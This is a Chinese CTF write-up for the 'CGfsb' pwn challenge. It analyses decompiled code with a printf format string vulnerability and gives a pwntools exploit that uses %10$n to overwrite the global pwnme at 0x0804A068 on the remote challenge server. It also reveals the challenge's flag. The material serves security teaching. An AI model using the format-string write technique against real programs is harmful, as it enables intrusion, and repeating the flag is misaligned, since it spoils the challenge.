【攻防世界】Pwn系列之CGfsb

【攻防世界】Pwn系列之CGfsb

该程序运行后需要进行两个输入,运行结果如下

使用IDA反汇编该程序,获取其源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
__int16 v5; // [esp+26h] [ebp-76h]
char s[100]; // [esp+28h] [ebp-74h] BYREF
unsigned int v7; // [esp+8Ch] [ebp-10h]

v7 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf[0] = 0;
buf[1] = 0;
v5 = 0;
memset(s, 0, sizeof(s));
puts("please tell me your name:");
read(0, buf, 0xAu);
puts("leave your message please:");
fgets(s, 100, stdin);
printf("hello %s", (const char *)buf);
puts("your message is:");
printf(s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}

提供的代码是一个 C 语言程序,它会提示用户输入姓名和一条消息,并且会打印一个个性化的问候语和用户输入的消息。main函数初始化了一些变量,包括一个大小为 2 的数组buf和一个大小为 100 的字符数组s。该函数使用 setbuf` 函数来禁用标准输入、输出和错误流的缓冲。程序随后提示用户输入姓名,使用 puts 函数进行输出,并使用 read 函数将用户输入读取到 buf 数组中。然后程序再次提示用户输入消息,这次使用 puts 函数进行输出。用户输入的消息使用 fgets 函数读取到 s 数组中。程序接下来使用 printf 函数,传递 buf 数组作为参数,打印个性化的问候语。用户输入的消息也使用 printf 函数进行输出。最后,程序检查 pwnme 的值是否等于 8。如果是,则使用 system 函数执行命令 “cat flag” 并打印包含标志的消息。否则,程序打印一条感谢用户的消息。

这里关键的判断就是pwnme==8,但是整个代码没有对pwnme这个变量进行赋值,所以需要对pwnme进行赋值操作

这里我们可以看到**printf(s)**存在格式化字符串漏洞,所以这道题的思路就是:利用格式化字符串漏洞,实现任意地址写,修改pwnme全局变量的值等于8,即可获得flag

任意地址覆写

  • 确定格式化字符串漏洞受控参数在printf栈中的偏移量n
  • 确定需要读内存的地址target_address
  • 将目标地址tar_address写入printf函数栈中的%n$s,最后通过%n写入目标数值即可

首先来确定s在main栈中的偏移量,可以从IDA中的堆栈信息看到s距离esp40个字节,10个偏移量。下面通过对程序实际输出进行验证,如图所示,第10个输出414141转换为ASCII码就是AAAA,即s保存的前四位,证明s距离偏移量为10

全局变量pwnme的地址就是tar_address,即0x0804A068

构造payload:

1
2
3
p32(0x0804A068) + '%4c%10$n'
或者
p32(0x0804A068) + "aaaa" + '%10$n'

上面的payload的意思是将8个字节保存在0x804A068即pwnme这个变量中,使得此时pwnme的值为8,即输出flag值

exp代码如下

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('61.147.171.105', 54143)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a'*0x4 + b'%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()

得到flag

1
cyberpeace{ce9ffbf036f39bf5075b33a2870b0433}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信